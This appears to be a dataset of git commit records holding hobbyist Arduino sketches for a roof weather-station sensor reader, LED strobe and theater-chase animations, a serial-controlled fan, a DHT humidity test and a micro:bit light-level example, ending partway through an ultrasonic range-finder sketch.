{"commit":"2ec352ab8517bc0576bfc389df1ee9c67147880b","subject":"Added roof_sensor_serial","message":"Added roof_sensor_serial\n\nI'm much more proud of this code, than any of my ESP code......\n","repos":"1n5aN1aC\/HouseESP","old_file":"roof_sensor_serial\/roof_sensor_serial.ino","new_file":"roof_sensor_serial\/roof_sensor_serial.ino","new_contents":"\/\/----------------------------------------------------------------------------------------------------------------\n\/\/ roof_sensor_serial.ino\n\/\/ \n\/\/ This sketch only runs on an Arduino Nano, due to specific AVR functions called for voltage reading.\n\/\/\n\/\/ Handles reading temperature, humidity, rain & wind speed for a weather station.\n\/\/ Transmits back results via serial for a ESP-based device in the attic to send via MQTT & gather attic data\n\/\/ \n\/\/ Author - Joshua Villwock\n\/\/ Created - 2016-02-20\n\/\/ License - Mozilla Public License 2.0 (Do what you want, credit the author, must release under same license)\n\/\/----------------------------------------------------------------------------------------------------------------\n\n#include <DHT.h>\n\n#define LED_PIN 13 \/\/ LED connected to digital pin 13\n#define WIND_PIN 2 \/\/ Anemometer connected to digital (interrupt) pin 2\n#define RAIN_PIN 3 \/\/ Rain Meter connected to digital (interrupt) pin 3\n\n#define TEMP_PIN_1 12 \/\/ Temp Sensor connected to digital pin 12\n#define TEMP_PIN_1_TYPE DHT22 \/\/ Temp Sensor type\n#define TEMP_PIN_1_DELAY 10 \/\/ How often to update sensor\n\n#define TEXT_RAIN_FLIP \"RAIN FLIP\" \/\/ serial text to print on rain flip\n#define TEXT_OUTSIDE \"OUT:\" \/\/ serial text to print for temperature\n#define TEXT_TH_BREAK \":\" \/\/ serial text to print for humidity\n#define TEXT_BATTERY \"bat:\" \/\/ serial text to print for voltage\n\n#define WIND_DEBOUNCE_TIME 200 \/\/ MICROseconds before accepting more wind\n#define RAIN_DEBOUNCE_TIME 2000 \/\/ MILLIseconds before accepting new rain\n\nvolatile unsigned long windDebounce = 0; \/\/ last wind debounce\nvolatile unsigned long rainDebounce = 0; \/\/ last rain debounce\nunsigned long lastmillis = 0; \/\/ last time main loop reported\nvolatile byte half_revolutions = 0; \/\/ number of wind (half) revolutions since reset\nint tempCounter = 0; \/\/ counter for how many seconds since last temp reading\n\nDHT dht(TEMP_PIN_1, TEMP_PIN_1_TYPE); \/\/ Declare the DHT sensor\n\n\/\/ setup code, runs once upon boot:\nvoid setup() {\n pinMode(LED_PIN, OUTPUT); \/\/ set led pin as output\n pinMode(WIND_PIN, INPUT_PULLUP); \/\/ enable pullup for wind sensor\n pinMode(RAIN_PIN, INPUT_PULLUP); \/\/ enable pullup for rain sensor\n\n Serial.begin(9600); \/\/ Start serial\n dht.begin(); \/\/ Initialize the DHT sensor\n \n attachInterrupt(digitalPinToInterrupt(WIND_PIN), windInterrupt, FALLING); \/\/ attach interrupt handler\n attachInterrupt(digitalPinToInterrupt(RAIN_PIN), rainInterrupt, FALLING); \/\/ attach interrupt handler\n}\n\n\/\/ main code, runs forever:\nvoid loop() {\n if (millis() - lastmillis >= 1000) { \/\/ if it's been more than 1000ms:\n noInterrupts(); \/\/ disable interrupts when calculating\n Serial.println(getWind(), DEC); \/\/ print the rpm to serial\n\n if (tempCounter > TEMP_PIN_1_DELAY) { \/\/ if we've ran this loop 10 times\n updateTemp(); \/\/ then get us temp data\n } else {\n tempCounter++; \/\/ otherwise, increment loop count\n }\n\n lastmillis = millis(); \/\/ update lastmillis\n interrupts(); \/\/ re-enable interrupts\n }\n}\n\n\/\/ when wind gauge is triggered\nvoid windInterrupt() {\n if (micros() - windDebounce > WIND_DEBOUNCE_TIME) { \/\/ if we're not within the debounce time\n half_revolutions++; \/\/ increment the half revolutions\n windDebounce = micros(); \/\/ update the last debounce time\n }\n}\n\n\/\/ when rain gauge is triggered\nvoid rainInterrupt() {\n if (millis() - rainDebounce > RAIN_DEBOUNCE_TIME) { \/\/ if we're not within the debounce time\n Serial.println(TEXT_RAIN_FLIP); \/\/ then output that we flipped.\n rainDebounce = millis(); \/\/ update the last debounce time\n }\n}\n\n\/\/ Called to update & send temp data\nvoid updateTemp() {\n float f = dht.readTemperature(true);\n float h = dht.readHumidity();\n if ( !isnan(f) && !isnan(h) ) {\n Serial.print(TEXT_OUTSIDE);\n Serial.print(f);\n Serial.print(TEXT_TH_BREAK);\n Serial.println(h);\n }\n updateVoltage();\n \n tempCounter = 1;\n}\n\n\/\/Called to update & send voltage data\nvoid updateVoltage() {\n Serial.print(TEXT_BATTERY);\n Serial.println( readVcc(), DEC );\n}\n\n\/\/ gets the number of windTurns\n\/\/ also resets it and handles led blinking\nint getWind() {\n if (half_revolutions == 0) { \/\/ if no revolutions,\n ledOnFor(5); \/\/ then flash the led\n }\n int rpm = half_revolutions;\n half_revolutions = 0; \/\/ reset revolutions\n return rpm; \/\/ return result\n}\n\n\/\/ turns LED on, waits 'time' ms, turns LED off\nvoid ledOnFor(int time) {\n digitalWrite(13, HIGH); \/\/ set the LED on\n delay(time); \/\/ wait the desired amount of time\n digitalWrite(13, LOW); \/\/ set the LED off\n}\n\n\/\/ Measures the 5v power rail using the internal 1.1v vref backwards.\n\/\/ http:\/\/provideyourown.com\/2012\/secret-arduino-voltmeter-measure-battery-voltage\/\nlong readVcc() {\n \/\/ Read 1.1V reference against AVcc\n \/\/ set the reference to Vcc and the measurement to the internal 1.1V reference\n #if defined(__AVR_ATmega32U4__) || defined(__AVR_ATmega1280__) || defined(__AVR_ATmega2560__)\n ADMUX = _BV(REFS0) | _BV(MUX4) | _BV(MUX3) | _BV(MUX2) | _BV(MUX1);\n #elif defined (__AVR_ATtiny24__) || defined(__AVR_ATtiny44__) || defined(__AVR_ATtiny84__)\n ADMUX = _BV(MUX5) | _BV(MUX0);\n #elif defined (__AVR_ATtiny25__) || defined(__AVR_ATtiny45__) || defined(__AVR_ATtiny85__)\n ADMUX = _BV(MUX3) | _BV(MUX2);\n #else\n ADMUX = _BV(REFS0) | _BV(MUX3) | _BV(MUX2) | _BV(MUX1);\n #endif\n\n delay(2); \/\/ Wait for Vref to settle\n ADCSRA |= _BV(ADSC); \/\/ Start conversion\n while (bit_is_set(ADCSRA,ADSC)); \/\/ measuring\n\n uint8_t low = ADCL; \/\/ must read ADCL first - it then locks ADCH \n uint8_t high = ADCH; \/\/ unlocks both\n\n long result = (high<<8) | low; \/\/ combine result\n\n result = 1125300L \/ result; \/\/ Calculate Vcc (in mV); 1125300 = 1.1*1023*1000\n return result; \/\/ Vcc in millivolts\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'roof_sensor_serial\/roof_sensor_serial.ino' did not match any file(s) known to git\n","license":"mpl-2.0","lang":"Arduino"} {"commit":"dd7258585af66ba17211e80a60a531fb2170f195","subject":"update button test","message":"update button test\n","repos":"Eli-Woods\/arduino,Eli-Woods\/arduino,Eli-Woods\/arduino,Eli-Woods\/arduino","old_file":"proj\/ledvo_lounge_button_test\/Animation_Base.ino","new_file":"proj\/ledvo_lounge_button_test\/Animation_Base.ino","new_contents":"\/\/ Some utility shit\n\n\/\/ Reset everything aka set everything to black\nvoid reset_all() {\n fill_solid(ih_leds, ih_LED_total, CRGB::Black);\n fill_solid(oh_leds, oh_LED_total, CRGB::Black);\n for (uint8_t dd = 0; dd < 3; dd++) {\n fill_solid(d_leds[dd], d_LED_num, CRGB::Black);\n }\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ DJ animations. These are meant to interrupt the normal \/\/\n\/\/ animations and take over. \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/ Can't be named strobe for some reason... IDK man\nvoid strobes() {\n \/\/ Fill everything with white at a user controlled rate, then fade to black to\n \/\/ get the strobe effect that we want\n EVERY_N_MILLISECONDS_I(thisTimer, 200) {\n thisTimer.setPeriod(map(analogRead(DJ_POT), 0, 687, 50, 800));\n fill_solid(ih_leds, ih_LED_total, CHSV(255, 255, gBrightness));\n fill_solid(oh_leds, oh_LED_total, CHSV(255, 255, gBrightness));\n for (uint8_t dd = 0; dd < 3; dd++) {\n fill_solid(d_leds[dd], d_LED_num, CHSV(255, 255, gBrightness));\n }\n }\n \/\/FastLED.setBrightness(gBrightness);\n FastLED.show();\n fill_solid(ih_leds, ih_LED_total, CRGB::Black);\n fill_solid(oh_leds, oh_LED_total, CRGB::Black);\n for (uint8_t dd = 0; dd < 3; dd++) {\n fill_solid(d_leds[dd], d_LED_num, CRGB::Black);\n }\n}\n\n\/\/ Strobes black over animations. Basically we play this animation in\n\/\/ conjunction with whatever else is running. It's not really an interrupt\n\/\/ animation but rather another layer.\nvoid strobe_black() {\n EVERY_N_MILLISECONDS_I(thisTimer, 175) {\n thisTimer.setPeriod(map(analogRead(DJ_POT), 0, 687, 50, 800));\n fill_solid(ih_leds, ih_LED_total, CRGB::Black);\n fill_solid(oh_leds, oh_LED_total, CRGB::Black);\n for (uint8_t dd = 0; dd < 3; dd++) {\n fill_solid(d_leds[dd], d_LED_num, CRGB::Black);\n }\n FastLED.show();\n FastLED.delay(50);\n }\n}\n\n\/\/ Does what it says, sets every LED to black\nvoid blackout() {\n fill_solid(ih_leds, ih_LED_total, CRGB::Black);\n fill_solid(oh_leds, oh_LED_total, CRGB::Black);\n for (uint8_t dd = 0; dd < 3; dd++) {\n fill_solid(d_leds[dd], d_LED_num, CRGB::Black);\n }\n FastLED.show();\n}\n\n\/\/ Same as blackout, but with white.\nvoid whiteout() {\n fill_solid(ih_leds, ih_LED_total, CRGB::White);\n \/\/fill_solid(oh_leds, oh_LED_total, CRGB::White);\n for (uint8_t dd = 0; dd < 3; dd++) {\n fill_solid(d_leds[dd], d_LED_num, CRGB::White);\n }\n FastLED.show();\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ All of the following animations are some kind of theater marquee style. This means \/\/\n\/\/ at the core, its packets of light chasing eachother across the strip, although we'll \/\/\n\/\/ change up how they chase in different animations. \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/ Simple theater chase where packets move continuously\nvoid theater_chase() {\n static uint8_t pal_index = 0;\n EVERY_N_MILLISECONDS_I(thisTimer, 100) {\n thisTimer.setPeriod(map(analogRead(RATE_POT), 0, 687, 1, 300));\n if (anim_reverse) {\n pal_index--;\n }\n else {\n pal_index++;\n }\n }\n\n fill_palette(ih_leds, ih_LED_total, pal_index, 6, gPalette, gBrightness, gBlending);\n fill_palette(oh_leds, oh_LED_total, pal_index, 6, gPalette, gBrightness, gBlending);\n for (uint8_t dd = 0; dd < 3; dd++) {\n fill_palette(d_leds[dd], d_LED_num, pal_index, 6, gPalette, gBrightness, gBlending);\n }\n FastLED.show();\n}\n\n\/\/ A theater chase where packets switch direction every once in a while. Lets see how\n\/\/ this looks with a saw wave\nvoid theater_chase_tri() {\n static uint8_t pal_index = 0;\n EVERY_N_MILLISECONDS_I(thisTimer, 100) {\n thisTimer.setPeriod(map(analogRead(RATE_POT), 0, 687, 1, 300));\n if (anim_reverse) {\n pal_index--;\n }\n else {\n pal_index++;\n }\n }\n\n fill_palette(ih_leds, ih_LED_total, triwave8(pal_index), 6, gPalette, gBrightness, gBlending);\n fill_palette(oh_leds, oh_LED_total, triwave8(pal_index), 6, gPalette, gBrightness, gBlending);\n for (uint8_t dd = 0; dd < 3; dd++) {\n fill_palette(d_leds[dd], d_LED_num, triwave8(pal_index), 6, gPalette, gBrightness, gBlending);\n }\n FastLED.show();\n}\n\nvoid fill_all_pal() {\n static uint8_t pal_index = 0;\n EVERY_N_MILLISECONDS_I(thisTimer, 100) {\n thisTimer.setPeriod(map(analogRead(RATE_POT), 0, 687, 1, 300));\n pal_index++;\n }\n\n fill_solid(ih_leds, ih_LED_total, ColorFromPalette(gPalette, pal_index, gBrightness, gBlending));\n fill_solid(oh_leds, oh_LED_total, ColorFromPalette(gPalette, pal_index, gBrightness, gBlending));\n for(uint8_t dd = 0; dd < 3; dd++) {\n fill_solid(d_leds[dd], d_LED_num, ColorFromPalette(gPalette, pal_index, gBrightness, gBlending));\n }\n FastLED.show();\n}\n\nvoid theater_chase_mod() {\n static uint8_t col_inc = 0;\n EVERY_N_MILLISECONDS_I(thisTimer, 100) {\n thisTimer.setPeriod(map(analogRead(RATE_POT), 0, 687, 1, 300));\n if (anim_reverse) {\n col_inc--;\n }\n else {\n col_inc++;\n }\n }\n if (col_inc < 256 \/ 2) {\n fill_palette(ih_leds, ih_LED_total, 0, col_inc, gPalette, gBrightness, gBlending);\n }\n else {\n fill_palette(ih_leds, ih_LED_total, 0, 256 - col_inc, gPalette, gBrightness, gBlending);\n }\n if (col_inc < 256 \/ 2) {\n fill_palette(oh_leds, oh_LED_total, 0, col_inc, gPalette, gBrightness, gBlending);\n }\n else {\n fill_palette(oh_leds, oh_LED_total, 0, 256 - col_inc, gPalette, gBrightness, gBlending);\n }\n for (uint8_t dd = 0; dd < 3; dd++) {\n if (col_inc < 256 \/ 2) {\n fill_palette(d_leds[dd], d_LED_num, 0, col_inc, gPalette, gBrightness, gBlending);\n }\n else {\n fill_palette(d_leds[dd], d_LED_num, 0, 256 - col_inc, gPalette, gBrightness, gBlending);\n }\n }\n LEDS.show();\n}\n","old_contents":"\/\/ Some utility shit\n\n\/\/ Reset everything aka set everything to black\nvoid reset_all() {\n fill_solid(ih_leds, ih_LED_total, CRGB::Black);\n fill_solid(oh_leds, oh_LED_total, CRGB::Black);\n for (uint8_t dd = 0; dd < 3; dd++) {\n fill_solid(d_leds[dd], d_LED_num, CRGB::Black);\n }\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ DJ animations. These are meant to interrupt the normal \/\/\n\/\/ animations and take over. \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/ Can't be named strobe for some reason... IDK man\nvoid strobes() {\n \/\/ Fill everything with white at a user controlled rate, then fade to black to\n \/\/ get the strobe effect that we want\n EVERY_N_MILLISECONDS_I(thisTimer, 200) {\n thisTimer.setPeriod(map(analogRead(DJ_POT), 0, 687, 50, 800));\n fill_solid(ih_leds, ih_LED_total, CRGB::White);\n fill_solid(oh_leds, oh_LED_total, CRGB::White);\n for (uint8_t dd = 0; dd < 3; dd++) {\n fill_solid(d_leds[dd], d_LED_num, CRGB::White);\n }\n }\n FastLED.show();\n fill_solid(ih_leds, ih_LED_total, CRGB::Black);\n fill_solid(oh_leds, oh_LED_total, CRGB::Black);\n for (uint8_t dd = 0; dd < 3; dd++) {\n fill_solid(d_leds[dd], d_LED_num, CRGB::Black);\n }\n}\n\n\/\/ Strobes black over animations. Basically we play this animation in\n\/\/ conjunction with whatever else is running. It's not really an interrupt\n\/\/ animation but rather another layer.\nvoid strobe_black() {\n EVERY_N_MILLISECONDS_I(thisTimer, 175) {\n thisTimer.setPeriod(map(analogRead(DJ_POT), 0, 687, 50, 800));\n fill_solid(ih_leds, ih_LED_total, CRGB::Black);\n fill_solid(oh_leds, oh_LED_total, CRGB::Black);\n for (uint8_t dd = 0; dd < 3; dd++) {\n fill_solid(d_leds[dd], d_LED_num, CRGB::Black);\n }\n FastLED.show();\n FastLED.delay(50);\n }\n}\n\n\/\/ Does what it says, sets every LED to black\nvoid blackout() {\n fill_solid(ih_leds, ih_LED_total, CRGB::Black);\n fill_solid(oh_leds, oh_LED_total, CRGB::Black);\n for (uint8_t dd = 0; dd < 3; dd++) {\n fill_solid(d_leds[dd], d_LED_num, CRGB::Black);\n }\n FastLED.show();\n}\n\n\/\/ Same as blackout, but with white.\nvoid whiteout() {\n fill_solid(ih_leds, ih_LED_total, CRGB::White);\n \/\/fill_solid(oh_leds, oh_LED_total, CRGB::White);\n for (uint8_t dd = 0; dd < 3; dd++) {\n fill_solid(d_leds[dd], d_LED_num, CRGB::White);\n }\n FastLED.show();\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ All of the following animations are some kind of theater marquee style. This means \/\/\n\/\/ at the core, its packets of light chasing eachother across the strip, although we'll \/\/\n\/\/ change up how they chase in different animations. \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/ Simple theater chase where packets move continuously\nvoid theater_chase() {\n static uint8_t pal_index = 0;\n EVERY_N_MILLISECONDS_I(thisTimer, 100) {\n thisTimer.setPeriod(map(analogRead(RATE_POT), 0, 687, 1, 300));\n if (anim_reverse) {\n pal_index--;\n }\n else {\n pal_index++;\n }\n }\n\n fill_palette(ih_leds, ih_LED_total, pal_index, 6, gPalette, gBrightness, gBlending);\n fill_palette(oh_leds, oh_LED_total, pal_index, 6, gPalette, gBrightness, gBlending);\n for (uint8_t dd = 0; dd < 3; dd++) {\n fill_palette(d_leds[dd], d_LED_num, pal_index, 6, gPalette, gBrightness, gBlending);\n }\n FastLED.show();\n}\n\n\/\/ A theater chase where packets switch direction every once in a while. Lets see how\n\/\/ this looks with a saw wave\nvoid theater_chase_tri() {\n static uint8_t pal_index = 0;\n EVERY_N_MILLISECONDS_I(thisTimer, 100) {\n thisTimer.setPeriod(map(analogRead(RATE_POT), 0, 687, 1, 300));\n if (anim_reverse) {\n pal_index--;\n }\n else {\n pal_index++;\n }\n }\n\n fill_palette(ih_leds, ih_LED_total, triwave8(pal_index), 6, gPalette, gBrightness, gBlending);\n fill_palette(oh_leds, oh_LED_total, triwave8(pal_index), 6, gPalette, gBrightness, gBlending);\n for (uint8_t dd = 0; dd < 3; dd++) {\n fill_palette(d_leds[dd], d_LED_num, triwave8(pal_index), 6, gPalette, gBrightness, gBlending);\n }\n FastLED.show();\n}\n\nvoid fill_all_pal() {\n static uint8_t pal_index = 0;\n EVERY_N_MILLISECONDS_I(thisTimer, 100) {\n thisTimer.setPeriod(map(analogRead(RATE_POT), 0, 687, 1, 300));\n pal_index++;\n }\n\n fill_solid(ih_leds, ih_LED_total, ColorFromPalette(gPalette, pal_index, gBrightness, gBlending));\n fill_solid(oh_leds, oh_LED_total, ColorFromPalette(gPalette, pal_index, gBrightness, gBlending));\n for(uint8_t dd = 0; dd < 3; dd++) {\n fill_solid(d_leds[dd], d_LED_num, ColorFromPalette(gPalette, pal_index, gBrightness, gBlending));\n }\n FastLED.show();\n}\n\nvoid theater_chase_mod() {\n static uint8_t col_inc = 0;\n EVERY_N_MILLISECONDS_I(thisTimer, 100) {\n thisTimer.setPeriod(map(analogRead(RATE_POT), 0, 687, 1, 300));\n if (anim_reverse) {\n col_inc--;\n }\n else {\n col_inc++;\n }\n }\n if (col_inc < 256 \/ 2) {\n fill_palette(ih_leds, ih_LED_total, 0, col_inc, gPalette, gBrightness, gBlending);\n }\n else {\n fill_palette(ih_leds, ih_LED_total, 0, 256 - col_inc, gPalette, gBrightness, gBlending);\n }\n if (col_inc < 256 \/ 2) {\n fill_palette(oh_leds, oh_LED_total, 0, col_inc, gPalette, gBrightness, gBlending);\n }\n else {\n fill_palette(oh_leds, oh_LED_total, 0, 256 - col_inc, gPalette, gBrightness, gBlending);\n }\n for (uint8_t dd = 0; dd < 3; dd++) {\n if (col_inc < 256 \/ 2) {\n fill_palette(d_leds[dd], d_LED_num, 0, col_inc, gPalette, gBrightness, gBlending);\n }\n else {\n fill_palette(d_leds[dd], d_LED_num, 0, 256 - col_inc, gPalette, gBrightness, gBlending);\n }\n }\n LEDS.show();\n}\n","returncode":0,"stderr":"","license":"mit","lang":"Arduino"} {"commit":"d9d58bb8c359fb1e9274622e8ad5494bf32c5ce3","subject":"Create prototipo0.ino","message":"Create prototipo0.ino","repos":"Fupete\/ID2-2015,Fupete\/ID2-2015,fraguz\/ID2-2015,fraguz\/ID2-2015,Fupete\/ID2-2015-UNIRSM,Fupete\/ID2-2015-UNIRSM","old_file":"3_dataphys\/LorellaCamellina\/arduino-processing-sketches\/prototipo0.ino","new_file":"3_dataphys\/LorellaCamellina\/arduino-processing-sketches\/prototipo0.ino","new_contents":"\/*\n Physical Pixel\n \n Using the Arduino board to receive data from pc microphone and Processing.\n In this case, the Arduino boards turns on an fan. Instructions about fan power \n are coming from noise level around your pc.\n The circuit:\n * fan connected from PWM pin 9 to ground\n \n created 2006\n by David A. Mellis\n modified 30 Aug 2011\n by Tom Igoe and Scott Fitzgerald\n \n This example code is in the public domain.\n \n http:\/\/www.arduino.cc\/en\/Tutorial\/PhysicalPixel\n *\/\n\nconst int ledPin2 = 9; \/\/ pin ventola settato su PWM\nint incomingByte; \/\/ variabile in input da Processign\nvoid(* Riavvia)(void) = 0;\n\nvoid setup() {\n\n Serial.begin(9600);\n\n} \/\/ end setup\n\nvoid loop() {\n\n if (Serial.available() > 0) {\n\n incomingByte = Serial.read();\n\n if (incomingByte == 'A') {\n analogWrite(ledPin2, 50);\n } \/\/ RANGE A\n\n if (incomingByte == 'B') {\n analogWrite(ledPin2, 100);\n } \/\/ RANGE B\n\n if (incomingByte == 'C') {\n analogWrite(ledPin2, 150);\n } \/\/ RANGE C\n\n if (incomingByte == 'D') {\n analogWrite(ledPin2, 200);\n } \/\/ RANGE D\n\n if (incomingByte == 'e') {\n analogWrite(ledPin2, 255);\n } \/\/ RANGE E\n\n } \/\/ end if a monte\n\n} \/\/ end loop\n\n\/\/Dichiarazione di funzione che punta all'indirizzo zero\n\n\/* Processing code for this example\n \n \/\/ mouseover serial\n \n \/\/ Demonstrates how to send data to the Arduino I\/O board, in order to\n \/\/ turn ON a light if the mouse is over a square and turn it off\n \/\/ if the mouse is not.\n \n \/\/ created 2003-4\n \/\/ based on examples by Casey Reas and Hernando Barragan\n \/\/ modified 30 Aug 2011\n \/\/ by Tom Igoe\n \/\/ This example code is in the public domain.\n \n import processing.serial.*;\n \n float boxX;\n float boxY;\n int boxSize = 20;\n boolean mouseOverBox = false;\n \n Serial port;\n \n void setup() {\n size(200, 200);\n boxX = width\/2.0;\n boxY = height\/2.0;\n rectMode(RADIUS);\n \n \/\/ List all the available serial ports in the output pane.\n \/\/ You will need to choose the port that the Arduino board is\n \/\/ connected to from this list. The first port in the list is\n \/\/ port #0 and the third port in the list is port #2.\n println(Serial.list());\n \n \/\/ Open the port that the Arduino board is connected to (in this case #0)\n \/\/ Make sure to open the port at the same speed Arduino is using (9600bps)\n port = new Serial(this, Serial.list()[0], 9600);\n \n }\n \n void draw()\n {\n background(0);\n \n \/\/ Test if the cursor is over the box\n if (mouseX > boxX-boxSize && mouseX < boxX+boxSize &&\n mouseY > boxY-boxSize && mouseY < boxY+boxSize) {\n mouseOverBox = true;\n \/\/ draw a line around the box and change its color:\n stroke(255);\n fill(153);\n \/\/ send an 'H' to indicate mouse is over square:\n port.write('H');\n }\n else {\n \/\/ return the box to it's inactive state:\n stroke(153);\n fill(153);\n \/\/ send an 'L' to turn the LED off:\n port.write('L');\n mouseOverBox = false;\n }\n \n \/\/ Draw the box\n rect(boxX, boxY, boxSize, boxSize);\n }\n \n \n *\/\n","old_contents":"","returncode":1,"stderr":"error: pathspec '3_dataphys\/LorellaCamellina\/arduino-processing-sketches\/prototipo0.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ed2a8a77ec563e79fb2f4f104af1836ef037ea19","subject":"New code for RHT","message":"New code for RHT\n","repos":"Mausy5043\/arduino,Mausy5043\/arduino,Mausy5043\/arduino,Mausy5043\/arduino","old_file":"sensRH\/src\/sketch.ino","new_file":"sensRH\/src\/sketch.ino","new_contents":"\/\/ Example testing sketch for various DHT humidity\/temperature sensors\n\/\/ Written by ladyada, public domain\n\n#include \"DHT.h\"\n\n#define DHTPIN 4 \/\/ what pin we're connected to\n\n\/\/ Uncomment whatever type you're using!\n\/\/#define DHTTYPE DHT11 \/\/ DHT 11\n#define DHTTYPE DHT22 \/\/ DHT 22 (AM2302) purchased JAN2015\n\/\/#define DHTTYPE DHT21 \/\/ DHT 21 (AM2301)\n\n\/\/ Connect pin 1 (on the left) of the sensor to +5V\n\/\/ NOTE: If using a board with 3.3V logic like an Arduino Due connect pin 1\n\/\/ to 3.3V instead of 5V!\n\/\/ Connect pin 2 of the sensor to whatever your DHTPIN is\n\/\/ Connect pin 4 (on the right) of the sensor to GROUND\n\/\/ Connect a 10K resistor from pin 2 (data) to pin 1 (power) of the sensor\n\n\/\/ Initialize DHT sensor for normal 16mhz Arduino\nDHT dht(DHTPIN, DHTTYPE);\n\/\/ NOTE: For working with a faster chip, like an Arduino Due or Teensy, you\n\/\/ might need to increase the threshold for cycle counts considered a 1 or 0.\n\/\/ You can do this by passing a 3rd parameter for this threshold. It's a bit\n\/\/ of fiddling to find the right value, but in general the faster the CPU the\n\/\/ higher the value. The default for a 16mhz AVR is a value of 6. For an\n\/\/ Arduino Due that runs at 84mhz a value of 30 works.\n\/\/ Example to initialize DHT sensor for Arduino Due:\n\/\/DHT dht(DHTPIN, DHTTYPE, 30);\n\nvoid setup() {\n Serial.begin(9600);\n Serial.println(\"DHTxx test!\");\n\n dht.begin();\n}\n\nvoid loop() {\n \/\/ Wait a few seconds between measurements.\n delay(2000);\n\n \/\/ Reading temperature or humidity takes about 250 milliseconds!\n \/\/ Sensor readings may also be up to 2 seconds 'old' (its a very slow sensor)\n float h = dht.readHumidity();\n \/\/ Read temperature as Celsius\n float t = dht.readTemperature();\n \/\/ Read temperature as Fahrenheit\n float f = dht.readTemperature(true);\n\n \/\/ Check if any reads failed and exit early (to try again).\n if (isnan(h) || isnan(t) || isnan(f)) {\n Serial.println(\"Failed to read from DHT sensor!\");\n return;\n }\n\n \/\/ Compute heat index\n \/\/ Must send in temp in Fahrenheit!\n float hi = dht.computeHeatIndex(f, h);\n\n Serial.print(\"Humidity: \");\n Serial.print(h);\n Serial.print(\" %\\t\");\n Serial.print(\"Temperature: \");\n Serial.print(t);\n Serial.print(\" *C \");\n Serial.print(f);\n Serial.print(\" *F\\t\");\n Serial.print(\"Heat index: \");\n Serial.print(hi);\n Serial.println(\" *F\");\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sensRH\/src\/sketch.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2676f3c1dd9333bbf74871a25029bc359df52214","subject":"Create LightLevel.ino","message":"Create LightLevel.ino","repos":"ht-deko\/microbit_Screen","old_file":"examples\/LightLevel\/LightLevel.ino","new_file":"examples\/LightLevel\/LightLevel.ino","new_contents":"#include \"microbit_Screen.h\"\n\nvoid setup() {\n SCREEN.begin(); \n}\n\nvoid loop() {\n if (SCREEN.lightLevel() > 10) \n SCREEN.showIcon(IconNames::Happy);\n else \n SCREEN.showIcon(IconNames::Sad);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/LightLevel\/LightLevel.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7a56ce7e10b16bc09bd36fa3a3a4a909aaced52e","subject":"Create t2a12-finalproject-emry.ino","message":"Create t2a12-finalproject-emry.ino","repos":"doggish\/basic-particle","old_file":"t2a12-finalproject-emry.ino","new_file":"t2a12-finalproject-emry.ino","new_contents":"\/\/T1A11-Range-Finder-Name.ino\n\n\/\/ EXAMPLE\n\/\/using Ultrasonic Range Finder from Robotshop\n\/\/http:\/\/www.robotshop.com\/ca\/en\/hc-sr04-ultrasonic-range-finder.html\n\/\/(c)2016 Nick (to some degree)\n\nunsigned long duration;\nunsigned long duration1;\n\nvoid setup()\n{\n\n\n pinMode(D0, OUTPUT); \/\/ LED on D7\n pinMode(D1, OUTPUT); \/\/ Other LED connected from D1 through resistor to ground\n pinMode(D2, OUTPUT);\n pinMode(D3, OUTPUT);\n \n \/\/ ultrasonic range finder Robotshop RB-lte-54\n \n \/\/ GND pin goes to ground\n pinMode(D7, INPUT); \/\/ echo\n pinMode(D5, OUTPUT); \/\/ Trig\n \/\/ VCC pin goes to VIN on the photon\n \n\n pinMode(D6, INPUT); \/\/ echo\n pinMode(D4, OUTPUT); \/\/ Trig\n \/\/ VCC pin goes to VIN on the photon\n \n}\nvoid loop(){\n 